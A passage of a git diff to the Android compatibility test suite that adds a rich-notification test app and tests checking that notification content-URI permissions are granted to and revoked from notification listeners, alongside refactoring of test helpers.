+        selection: String?,
+        selectionArgs: Array<String>?
+    ): Int {
+        throw UnsupportedOperationException()
+    }
+}
\ No newline at end of file
diff --git a/tests/app/NotificationProvider/src/com/android/test/notificationprovider/RichNotificationActivity.kt b/tests/app/NotificationProvider/src/com/android/test/notificationprovider/RichNotificationActivity.kt
new file mode 100644
index 0000000..4197760
--- /dev/null
+++ b/tests/app/NotificationProvider/src/com/android/test/notificationprovider/RichNotificationActivity.kt
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.test.notificationprovider
+
+import android.app.Activity
+import android.app.Notification
+import android.app.NotificationChannel
+import android.app.NotificationManager
+import android.content.Context
+import android.os.Bundle
+
+/**
+ * Used by NotificationManagerTest for testing policy around content uris.
+ */
+class RichNotificationActivity : Activity() {
+    companion object {
+        const val NOTIFICATION_CHANNEL_ID = "NotificationManagerTest"
+        const val EXTRA_ACTION = "action"
+        const val ACTION_SEND_7 = "send-7"
+        const val ACTION_SEND_8 = "send-8"
+        const val ACTION_CANCEL_7 = "cancel-7"
+        const val ACTION_CANCEL_8 = "cancel-8"
+    }
+
+    enum class NotificationPreset(val id: Int) {
+        Preset7(7),
+        Preset8(8);
+
+        fun build(context: Context): Notification {
+            val extras = Bundle()
+            extras.putString(Notification.EXTRA_BACKGROUND_IMAGE_URI,
+                    "content://com.android.test.notificationprovider.provider/background$id.png")
+            return Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
+                    .setContentTitle("Rich Notification #$id")
+                    .setSmallIcon(android.R.drawable.sym_def_app_icon)
+                    .addExtras(extras)
+                    .build()
+        }
+    }
+
+    public override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+        setContentView(R.layout.activity)
+        when (intent?.extras?.getString(EXTRA_ACTION)) {
+            ACTION_SEND_7 -> sendNotification(NotificationPreset.Preset7)
+            ACTION_SEND_8 -> sendNotification(NotificationPreset.Preset8)
+            ACTION_CANCEL_7 -> cancelNotification(NotificationPreset.Preset7)
+            ACTION_CANCEL_8 -> cancelNotification(NotificationPreset.Preset8)
+            else -> {
+                // reset both
+                cancelNotification(NotificationPreset.Preset7)
+                cancelNotification(NotificationPreset.Preset8)
+            }
+        }
+        finish()
+    }
+
+    private val notificationManager by lazy { getSystemService(NotificationManager::class.java)!! }
+
+    private fun sendNotification(preset: NotificationPreset) {
+        notificationManager.createNotificationChannel(NotificationChannel(NOTIFICATION_CHANNEL_ID,
+                "Notifications", NotificationManager.IMPORTANCE_DEFAULT))
+        notificationManager.notify(preset.id, preset.build(this))
+    }
+
+    private fun cancelNotification(preset: NotificationPreset) {
+        notificationManager.cancel(preset.id)
+    }
+}
\ No newline at end of file
diff --git a/tests/app/TEST_MAPPING b/tests/app/TEST_MAPPING
index ca2dd6c..213ad1e 100644
--- a/tests/app/TEST_MAPPING
+++ b/tests/app/TEST_MAPPING
@@ -1,5 +1,5 @@
 {
-  "presubmit": [
+  "presubmit-large": [
     {
       "name": "CtsAppTestCases",
       "options": [
diff --git a/tests/app/app/src/android/app/stubs/CommandReceiver.java b/tests/app/app/src/android/app/stubs/CommandReceiver.java
index 12a24c8..5a13eab 100644
--- a/tests/app/app/src/android/app/stubs/CommandReceiver.java
+++ b/tests/app/app/src/android/app/stubs/CommandReceiver.java
@@ -48,6 +48,7 @@
     public static final int COMMAND_STOP_ACTIVITY = 11;
     public static final int COMMAND_CREATE_FGSL_PENDING_INTENT = 12;
     public static final int COMMAND_SEND_FGSL_PENDING_INTENT = 13;
+    public static final int COMMAND_BIND_FOREGROUND_SERVICE = 14;
 
     public static final String EXTRA_COMMAND = "android.app.stubs.extra.COMMAND";
     public static final String EXTRA_TARGET_PACKAGE = "android.app.stubs.extra.TARGET_PACKAGE";
@@ -82,7 +83,7 @@
                 + intent);
         switch (command) {
             case COMMAND_BIND_SERVICE:
-                doBindService(context, intent);
+                doBindService(context, intent, SERVICE_NAME);
                 break;
             case COMMAND_UNBIND_SERVICE:
                 doUnbindService(context, intent);
@@ -120,15 +121,18 @@
             case COMMAND_SEND_FGSL_PENDING_INTENT:
                 doSendFgslPendingIntent(context, intent);
                 break;
+            case COMMAND_BIND_FOREGROUND_SERVICE:
+                doBindService(context, intent, FG_LOCATION_SERVICE_NAME);
+                break;
         }
     }
 
-    private void doBindService(Context context, Intent commandIntent) {
+    private void doBindService(Context context, Intent commandIntent, String serviceName) {
         String targetPackage = getTargetPackage(commandIntent);
         int flags = getFlags(commandIntent);
 
         Intent bindIntent = new Intent();
-        bindIntent.setComponent(new ComponentName(targetPackage, SERVICE_NAME));
+        bindIntent.setComponent(new ComponentName(targetPackage, serviceName));
 
         ServiceConnection connection = addServiceConnection(targetPackage);
 
diff --git a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
index 9302e67..c982cd6 100644
--- a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
@@ -327,4 +327,43 @@
             uid2Watcher.finish();
         }
     }
+
+
+    public void testFgsLocationStartFromBGWithBind() throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+
+        try {
+            // Package1 is in BG state, bind FGSL in package1 first.
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            Bundle bundle = new Bundle();
+            bundle.putInt(LocalForegroundServiceLocation.EXTRA_FOREGROUND_SERVICE_TYPE,
+                    ServiceInfo.FOREGROUND_SERVICE_TYPE_LOCATION);
+            // Then start FGSL in package1, it won't get location capability.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, bundle);
+
+            // Package1 is in FGS state, but won't get location capability.
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
+                    WatchUidRunner.STATE_FG_SERVICE,
+                    new Integer(PROCESS_CAPABILITY_NONE));
+
+            // unbind service.
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // stop FGSL
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
+                    WatchUidRunner.STATE_CACHED_EMPTY,
+                    new Integer(PROCESS_CAPABILITY_NONE));
+        } finally {
+            uid1Watcher.finish();
+        }
+    }
 }
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 52c6535..cf579ce 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -75,13 +75,16 @@
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.ContentProviderOperation;
+import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.OperationApplicationException;
+import android.content.ServiceConnection;
 import android.content.pm.PackageManager;
 import android.content.pm.ShortcutInfo;
 import android.content.pm.ShortcutManager;
+import android.content.res.AssetFileDescriptor;
 import android.database.Cursor;
 import android.graphics.Bitmap;
 import android.graphics.drawable.Icon;
@@ -91,6 +94,7 @@
 import android.net.Uri;
 import android.os.Build;
 import android.os.Bundle;
+import android.os.IBinder;
 import android.os.ParcelFileDescriptor;
 import android.os.RemoteException;
 import android.os.SystemClock;
@@ -111,12 +115,12 @@
 import android.util.Log;
 import android.widget.RemoteViews;
 
-import androidx.test.InstrumentationRegistry;
+import androidx.annotation.NonNull;
+import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.FeatureUtil;
 import com.android.compatibility.common.util.SystemUtil;
-
-import junit.framework.Assert;
+import com.android.test.notificationlistener.INotificationUriAccessService;
 
 import java.io.BufferedReader;
 import java.io.FileInputStream;
@@ -133,11 +137,15 @@
 import java.util.Set;
 import java.util.UUID;
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 
 /* This tests NotificationListenerService together with NotificationManager, as you need to have
  * notifications to manipulate in order to test the listener service. */
 public class NotificationManagerTest extends AndroidTestCase {
+    public static final String NOTIFICATIONPROVIDER = "com.android.test.notificationprovider";
+    public static final String RICH_NOTIFICATION_ACTIVITY =
+            "com.android.test.notificationprovider.RichNotificationActivity";
     final String TAG = NotificationManagerTest.class.getSimpleName();
     final boolean DEBUG = false;
     static final String NOTIFICATION_CHANNEL_ID = "NotificationManagerTest";
@@ -160,6 +168,7 @@
     private List<String> mRuleIds;
     private BroadcastReceiver mBubbleBroadcastReceiver;
     private boolean mBubblesEnabledSettingToRestore;
+    private INotificationUriAccessService mNotificationUriAccessService;
 
     @Override
     protected void setUp() throws Exception {
@@ -183,9 +192,7 @@
 
         // ensure listener access isn't allowed before test runs (other tests could put
         // TestListener in an unexpected state)
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), false);
-
+        toggleListenerAccess(false);
         toggleNotificationPolicyAccess(mContext.getPackageName(),
                 InstrumentationRegistry.getInstrumentation(), true);
         mNotificationManager.setInterruptionFilter(INTERRUPTION_FILTER_ALL);
@@ -200,7 +207,8 @@
         // delay between tests so notifications aren't dropped by the rate limiter
         try {
             Thread.sleep(500);
-        } catch(InterruptedException e) {}
+        } catch (InterruptedException e) {
+        }
     }
 
     @Override
@@ -227,8 +235,7 @@
         suspendPackage(mContext.getPackageName(), InstrumentationRegistry.getInstrumentation(),
                 false);
 
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), false);
+        toggleListenerAccess(false);
         toggleNotificationPolicyAccess(mContext.getPackageName(),
                 InstrumentationRegistry.getInstrumentation(), false);
 
@@ -242,17 +249,17 @@
         setBubblesGlobal(mBubblesEnabledSettingToRestore);
     }
 
-    private boolean isNotificationCancelled(int id, boolean all) {
+    private void assertNotificationCancelled(int id, boolean all) {
         for (long totalWait = 0; totalWait < MAX_WAIT_TIME; totalWait += SHORT_WAIT_TIME) {
-            StatusBarNotification sbn = findPostedNotification(id, all);
-            if (sbn == null) return true;
+            StatusBarNotification sbn = findNotificationNoWait(id, all);
+            if (sbn == null) return;
             try {
                 Thread.sleep(SHORT_WAIT_TIME);
             } catch (InterruptedException e) {
                 e.printStackTrace();
             }
         }
-        return false;
+        assertNull(findNotificationNoWait(id, all));
     }
 
     private void insertSingleContact(String name, String phone, String email, boolean starred) {
@@ -314,8 +321,8 @@
         try {
             Uri phoneUri = Uri.withAppendedPath(ContactsContract.PhoneLookup.CONTENT_FILTER_URI,
                     Uri.encode(phone));
-            String[] projection = new String[] { ContactsContract.Contacts._ID,
-                    ContactsContract.Contacts.LOOKUP_KEY };
+            String[] projection = new String[]{ContactsContract.Contacts._ID,
+                    ContactsContract.Contacts.LOOKUP_KEY};
             c = mContext.getContentResolver().query(phoneUri, projection, null, null, null);
             if (c != null && c.getCount() > 0) {
                 c.moveToFirst();
@@ -338,25 +345,28 @@
     private StatusBarNotification findPostedNotification(int id, boolean all) {
         // notification is a bit asynchronous so it may take a few ms to appear in
         // getActiveNotifications()
-        // we will check for it for up to 300ms before giving up
-        StatusBarNotification n = null;
-        for (int tries = 3; tries-- > 0; ) {
-            final StatusBarNotification[] sbns = getActiveNotifications(all);
-            for (StatusBarNotification sbn : sbns) {
-                Log.d(TAG, "Found " + sbn.getKey());
-                if (sbn.getId() == id) {
-                    n = sbn;
-                    break;
-                }
+        // we will check for it for up to 1000ms before giving up
+        for (long totalWait = 0; totalWait < MAX_WAIT_TIME; totalWait += SHORT_WAIT_TIME) {
+            StatusBarNotification n = findNotificationNoWait(id, all);
+            if (n != null) {
+                return n;
             }
-            if (n != null) break;
             try {
-                Thread.sleep(100);
+                Thread.sleep(SHORT_WAIT_TIME);
             } catch (InterruptedException ex) {
                 // pass
             }
         }
-        return n;
+        return findNotificationNoWait(id, all);
+    }
+
+    private StatusBarNotification findNotificationNoWait(int id, boolean all) {
+        for (StatusBarNotification sbn : getActiveNotifications(all)) {
+            if (sbn.getId() == id) {
+                return sbn;
+            }
+        }
+        return null;
     }
 
     private StatusBarNotification[] getActiveNotifications(boolean all) {
@@ -467,8 +477,7 @@
 
     private void setUpNotifListener() {
         try {
-            toggleListenerAccess(TestNotificationListener.getId(),
-                    InstrumentationRegistry.getInstrumentation(), true);
+            toggleListenerAccess(true);
             mListener = TestNotificationListener.getInstance();
             mListener.resetData();
             assertNotNull(mListener);
@@ -489,16 +498,16 @@
 
         if (data == null) {
             data = new Notification.BubbleMetadata.Builder(pendingIntent,
-                            Icon.createWithResource(mContext, R.drawable.black))
+                    Icon.createWithResource(mContext, R.drawable.black))
                     .build();
         }
         if (builder == null) {
             builder = new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
-                            .setSmallIcon(R.drawable.black)
-                            .setWhen(System.currentTimeMillis())
-                            .setContentTitle("notify#" + id)
-                            .setContentText("This is #" + id + "notification  ")
-                            .setContentIntent(pendingIntent);
+                    .setSmallIcon(R.drawable.black)
+                    .setWhen(System.currentTimeMillis())
+                    .setContentTitle("notify#" + id)
+                    .setContentText("This is #" + id + "notification  ")
+                    .setContentIntent(pendingIntent);
         }
         builder.setBubbleMetadata(data);
 
@@ -541,7 +550,7 @@
         // getActiveNotifications()
         // we will check for it for up to 300ms before giving up
         boolean found = false;
-        for (int tries = 3; tries--> 0;) {
+        for (int tries = 3; tries-- > 0; ) {
             // Need reset flag.
             found = false;
             final StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
@@ -567,7 +576,7 @@
         // getActiveNotifications()
         // we will check for it for up to 400ms before giving up
         int lastCount = 0;
-        for (int tries = 4; tries-- > 0;) {
+        for (int tries = 4; tries-- > 0; ) {
             final StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
             lastCount = sbns.length;
             if (expectedCount == lastCount) return;
@@ -577,7 +586,7 @@
                 // pass
             }
         }
-        fail("Expected " + expectedCount + " posted notifications, were " +  lastCount);
+        fail("Expected " + expectedCount + " posted notifications, were " + lastCount);
     }
 
     private void compareChannels(NotificationChannel expected, NotificationChannel actual) {
@@ -631,18 +640,23 @@
         runCommand(command, instrumentation);
     }
 
-    private void toggleListenerAccess(String componentName, Instrumentation instrumentation,
-            boolean on) throws IOException {
-
+    private void toggleListenerAccess(boolean on) throws IOException {
         String command = " cmd notification " + (on ? "allow_listener " : "disallow_listener ")
-                + componentName;
+                + TestNotificationListener.getId();
 
-        runCommand(command, instrumentation);
+        runCommand(command, InstrumentationRegistry.getInstrumentation());
 
         final NotificationManager nm = mContext.getSystemService(NotificationManager.class);
         final ComponentName listenerComponent = TestNotificationListener.getComponentName();
-        assertTrue(listenerComponent + " has not been granted access",
-                nm.isNotificationListenerAccessGranted(listenerComponent) == on);
+        assertEquals(listenerComponent + " has incorrect listener access",
+                on, nm.isNotificationListenerAccessGranted(listenerComponent));
+    }
+
+    private void toggleExternalListenerAccess(ComponentName listenerComponent, boolean on)
+            throws IOException {
+        String command = " cmd notification " + (on ? "allow_listener " : "disallow_listener ")
+                + listenerComponent.flattenToString();
+        runCommand(command, InstrumentationRegistry.getInstrumentation());
     }
 
     private void setBubblesGlobal(boolean enabled)
@@ -674,15 +688,18 @@
         Thread.sleep(500); // wait for ranking update
     }
 
+    @SuppressWarnings("StatementWithEmptyBody")
     private void runCommand(String command, Instrumentation instrumentation) throws IOException {
         UiAutomation uiAutomation = instrumentation.getUiAutomation();
         // Execute command
         try (ParcelFileDescriptor fd = uiAutomation.executeShellCommand(command)) {
-            Assert.assertNotNull("Failed to execute shell command: " + command, fd);
+            assertNotNull("Failed to execute shell command: " + command, fd);
             // Wait for the command to finish by reading until EOF
             try (InputStream in = new FileInputStream(fd.getFileDescriptor())) {
                 byte[] buffer = new byte[4096];
-                while (in.read(buffer) > 0) {}
+                while (in.read(buffer) > 0) {
+                    // discard output
+                }
             } catch (IOException e) {
                 throw new IOException("Could not read stdout of command: " + command, e);
             }
@@ -716,7 +733,7 @@
 
     private void assertExpectedDndState(int expectedState) {
         int tries = 3;
-        for (int i = tries; i >=0; i--) {
+        for (int i = tries; i >= 0; i--) {
             if (expectedState ==
                     mNotificationManager.getCurrentInterruptionFilter()) {
                 break;
@@ -826,11 +843,11 @@
         KeyguardManager keyguardManager = mContext.getSystemService(KeyguardManager.class);
         keyguardManager.requestDismissKeyguard(sendBubbleActivity,
                 new KeyguardManager.KeyguardDismissCallback() {
-            @Override
-            public void onDismissSucceeded() {
-                latch.countDown();
-            }
-        });
+                    @Override
+                    public void onDismissSucceeded() {
+                        latch.countDown();
+                    }
+                });
         try {
             latch.await(500, TimeUnit.MILLISECONDS);
         } catch (InterruptedException e) {
@@ -1116,7 +1133,7 @@
                 new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
         channel.setDescription("bananas");
         channel.enableVibration(true);
-        channel.setVibrationPattern(new long[] {5, 8, 2, 1});
+        channel.setVibrationPattern(new long[]{5, 8, 2, 1});
         channel.setSound(new Uri.Builder().scheme("test").build(),
                 new AudioAttributes.Builder().setUsage(
                         AudioAttributes.USAGE_NOTIFICATION_COMMUNICATION_DELAYED).build());
@@ -1231,7 +1248,8 @@
         try {
             mNotificationManager.createNotificationChannel(channel);
             fail("Created notification with bad group");
-        } catch (IllegalArgumentException e) {}
+        } catch (IllegalArgumentException e) {
+        }
     }
 
     public void testCreateChannelInvalidImportance() throws Exception {
@@ -1398,8 +1416,7 @@
     }
 
     public void testSuspendPackage() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -1440,8 +1457,7 @@
     }
 
     public void testSuspendedPackageSendsNotification() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -1493,8 +1509,7 @@
         assertEquals(1, Settings.Global.getInt(
                 mContext.getContentResolver(), Settings.Global.NOTIFICATION_BUBBLES));
 
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -1538,8 +1553,7 @@
         assertEquals(1, Settings.Secure.getInt(
                 mContext.getContentResolver(), Settings.Secure.NOTIFICATION_BADGING));
 
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -1581,8 +1595,7 @@
     }
 
     public void testGetSuppressedVisualEffectsOff_ranking() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -1610,8 +1623,7 @@
         final int originalFilter = mNotificationManager.getCurrentInterruptionFilter();
         NotificationManager.Policy origPolicy = mNotificationManager.getNotificationPolicy();
         try {
-            toggleListenerAccess(TestNotificationListener.getId(),
-                    InstrumentationRegistry.getInstrumentation(), true);
+            toggleListenerAccess(true);
             Thread.sleep(500); // wait for listener to be allowed
 
             mListener = TestNotificationListener.getInstance();
@@ -1659,8 +1671,7 @@
     }
 
     public void testKeyChannelGroupOverrideImportanceExplanation_ranking() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -1747,6 +1758,10 @@
     public void testCancel() throws Exception {
         final int id = 9;
         sendNotification(id, R.drawable.black);
+        // Wait for the notification posted not just enqueued
+        try {
+            Thread.sleep(500);
+        } catch(InterruptedException e) {}
         mNotificationManager.cancel(id);
 
         if (!checkNotificationExistence(id, /*shouldExist=*/ false)) {
@@ -1948,7 +1963,8 @@
                         .setStyle(new Notification.BigPictureStyle()
                                 .setBigContentTitle("title")
                                 .bigPicture(Bitmap.createBitmap(100, 100, Bitmap.Config.RGB_565))
-                                .bigLargeIcon(Icon.createWithResource(getContext(), R.drawable.icon_blue))
+                                .bigLargeIcon(
+                                        Icon.createWithResource(getContext(), R.drawable.icon_blue))
                                 .setSummaryText("summary"))
                         .build();
         mNotificationManager.notify(id, notification);
@@ -2383,31 +2399,31 @@
     }
 
     public void testNotificationPolicyVisualEffectsEqual() {
-        NotificationManager.Policy policy = new NotificationManager.Policy(0,0 ,0 ,
+        NotificationManager.Policy policy = new NotificationManager.Policy(0, 0, 0,
                 SUPPRESSED_EFFECT_SCREEN_ON);
-        NotificationManager.Policy policy2 = new NotificationManager.Policy(0,0 ,0 ,
+        NotificationManager.Policy policy2 = new NotificationManager.Policy(0, 0, 0,
                 SUPPRESSED_EFFECT_PEEK);
         assertTrue(policy.equals(policy2));
         assertTrue(policy2.equals(policy));
 
-        policy = new NotificationManager.Policy(0,0 ,0 ,
+        policy = new NotificationManager.Policy(0, 0, 0,
                 SUPPRESSED_EFFECT_SCREEN_ON);
-        policy2 = new NotificationManager.Policy(0,0 ,0 ,
+        policy2 = new NotificationManager.Policy(0, 0, 0,
                 0);
         assertFalse(policy.equals(policy2));
         assertFalse(policy2.equals(policy));
 
-        policy = new NotificationManager.Policy(0,0 ,0 ,
+        policy = new NotificationManager.Policy(0, 0, 0,
                 SUPPRESSED_EFFECT_SCREEN_OFF);
-        policy2 = new NotificationManager.Policy(0,0 ,0 ,
+        policy2 = new NotificationManager.Policy(0, 0, 0,
                 SUPPRESSED_EFFECT_FULL_SCREEN_INTENT | SUPPRESSED_EFFECT_AMBIENT
                         | SUPPRESSED_EFFECT_LIGHTS);
         assertTrue(policy.equals(policy2));
         assertTrue(policy2.equals(policy));
 
-        policy = new NotificationManager.Policy(0,0 ,0 ,
+        policy = new NotificationManager.Policy(0, 0, 0,
                 SUPPRESSED_EFFECT_SCREEN_OFF);
-        policy2 = new NotificationManager.Policy(0,0 ,0 ,
+        policy2 = new NotificationManager.Policy(0, 0, 0,
                 SUPPRESSED_EFFECT_LIGHTS);
         assertFalse(policy.equals(policy2));
         assertFalse(policy2.equals(policy));
@@ -2458,7 +2474,7 @@
         mNotificationManager.notifyAsPackage(DELEGATOR, "toBeCanceled", 10000, n);
         assertNotNull(findPostedNotification(10000, false));
         mNotificationManager.cancelAsPackage(DELEGATOR, "toBeCanceled", 10000);
-        assertTrue(isNotificationCancelled(10000, false));
+        assertNotificationCancelled(10000, false);
         final Intent revokeIntent = new Intent();
         revokeIntent.setClassName(DELEGATOR, REVOKE_CLASS);
         revokeIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
@@ -2468,8 +2484,7 @@
 
     public void testNotificationDelegate_cannotCancelNotificationsPostedByDelegator()
             throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -2488,7 +2503,7 @@
 
         try {
             mNotificationManager.cancelAsPackage(DELEGATOR, null, 9);
-            fail ("Delegate should not be able to cancel notification they did not post");
+            fail("Delegate should not be able to cancel notification they did not post");
         } catch (SecurityException e) {
             // yay
         }
@@ -2539,7 +2554,7 @@
 
         // wait for the activity to launch and finish
         mContext.startActivity(activityIntent);
-        Thread.sleep(500);
+        Thread.sleep(2000);
 
         NotificationChannel channel =
                 mContext.createPackageContextAsUser(DELEGATOR, /* flags= */ 0, mContext.getUser())
@@ -2636,8 +2651,7 @@
             // pass
         }
 
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         // no exception this time
         mNotificationManager.shouldHideSilentStatusBarIcons();
     }
@@ -2704,9 +2718,250 @@
         listener.onListenerDisconnected();
     }
 
+    private void performNotificationProviderAction(@NonNull String action) {
+        // Create an intent to launch an activity which just posts or cancels notifications
+        Intent activityIntent = new Intent();
+        activityIntent.setClassName(NOTIFICATIONPROVIDER, RICH_NOTIFICATION_ACTIVITY);
+        activityIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        activityIntent.putExtra("action", action);
+        mContext.startActivity(activityIntent);
+    }
+
+    public void testNotificationUriPermissionsGranted() throws Exception {
+        Uri background7Uri = Uri.parse(
+                "content://com.android.test.notificationprovider.provider/background7.png");
+        Uri background8Uri = Uri.parse(
+                "content://com.android.test.notificationprovider.provider/background8.png");
+
+        toggleListenerAccess(true);
+        Thread.sleep(500); // wait for listener to be allowed
+
+        mListener = TestNotificationListener.getInstance();
+        assertNotNull(mListener);
+
+        try {
+            // Post #7
+            performNotificationProviderAction("send-7");
+
+            assertEquals(background7Uri, getNotificationBackgroundImageUri(7));
+            assertNotificationCancelled(8, true);
+            assertAccessible(background7Uri);
+            assertInaccessible(background8Uri);
+
+            // Post #8
+            performNotificationProviderAction("send-8");
+
+            assertEquals(background7Uri, getNotificationBackgroundImageUri(7));
+            assertEquals(background8Uri, getNotificationBackgroundImageUri(8));
+            assertAccessible(background7Uri);
+            assertAccessible(background8Uri);
+
+            // Cancel #7
+            performNotificationProviderAction("cancel-7");
+
+            assertNotificationCancelled(7, true);
+            assertEquals(background8Uri, getNotificationBackgroundImageUri(8));
+            assertInaccessible(background7Uri);
+            assertAccessible(background8Uri);
+
+            // Cancel #8
+            performNotificationProviderAction("cancel-8");
+
+            assertNotificationCancelled(7, true);
+            assertNotificationCancelled(8, true);
+            assertInaccessible(background7Uri);
+            assertInaccessible(background8Uri);
+
+        } finally {
+            // Clean up -- reset any remaining notifications
+            performNotificationProviderAction("reset");
+            Thread.sleep(500);
+        }
+    }
+
+    public void testNotificationUriPermissionsGrantedToNewListeners() throws Exception {
+        Uri background7Uri = Uri.parse(
+                "content://com.android.test.notificationprovider.provider/background7.png");
+
+        try {
+            // Post #7
+            performNotificationProviderAction("send-7");
+
+            Thread.sleep(500);
+            // Don't have access the notification yet, but we can test the URI
+            assertInaccessible(background7Uri);
+
+            toggleListenerAccess(true);
+            Thread.sleep(500); // wait for listener to be allowed
+
+            mListener = TestNotificationListener.getInstance();
+            assertNotNull(mListener);
+
+            assertEquals(background7Uri, getNotificationBackgroundImageUri(7));
+            assertAccessible(background7Uri);
+
+        } finally {
+            // Clean Up -- Cancel #7
+            performNotificationProviderAction("cancel-7");
+            Thread.sleep(500);
+        }
+    }
+
+    public void testNotificationUriPermissionsRevokedFromRemovedListeners() throws Exception {
+        Uri background7Uri = Uri.parse(
+                "content://com.android.test.notificationprovider.provider/background7.png");
+
+        toggleListenerAccess(true);
+        Thread.sleep(500); // wait for listener to be allowed
+
+        try {
+            // Post #7
+            performNotificationProviderAction("send-7");
+
+            mListener = TestNotificationListener.getInstance();
+            assertNotNull(mListener);
+
+            assertEquals(background7Uri, getNotificationBackgroundImageUri(7));
+            assertAccessible(background7Uri);
+
+            // Remove the listener to ensure permissions get revoked
+            toggleListenerAccess(false);
+            Thread.sleep(500); // wait for listener to be disabled
+
+            assertInaccessible(background7Uri);
+
+        } finally {
+            // Clean Up -- Cancel #7
+            performNotificationProviderAction("cancel-7");
+            Thread.sleep(500);
+        }
+    }
+
+    private class NotificationListenerConnection implements ServiceConnection {
+        private final Semaphore mSemaphore = new Semaphore(0);
+
+        @Override
+        public void onServiceConnected(ComponentName className, IBinder service) {
+            mNotificationUriAccessService = INotificationUriAccessService.Stub.asInterface(service);
+            mSemaphore.release();
+        }
+
+        @Override
+        public void onServiceDisconnected(ComponentName className) {
+            mNotificationUriAccessService = null;
+        }
+
+        public void waitForService() {
+            try {
+                if (mSemaphore.tryAcquire(5, TimeUnit.SECONDS)) {
+                    return;
+                }
+            } catch (InterruptedException e) {
+            }
+            fail("failed to connec to service");
+        }
+    }
+
+    ;
+
+    public void testNotificationUriPermissionsRevokedOnlyFromRemovedListeners() throws Exception {
+        Uri background7Uri = Uri.parse(
+                "content://com.android.test.notificationprovider.provider/background7.png");
+
+        // Connect to a service in the NotificationListener app which allows us to validate URI
+        // permissions granted to a second app, so that we show that permissions aren't being
+        // revoked too broadly.
+        final Intent intent = new Intent();
+        intent.setComponent(new ComponentName("com.android.test.notificationlistener",
+                "com.android.test.notificationlistener.NotificationUriAccessService"));
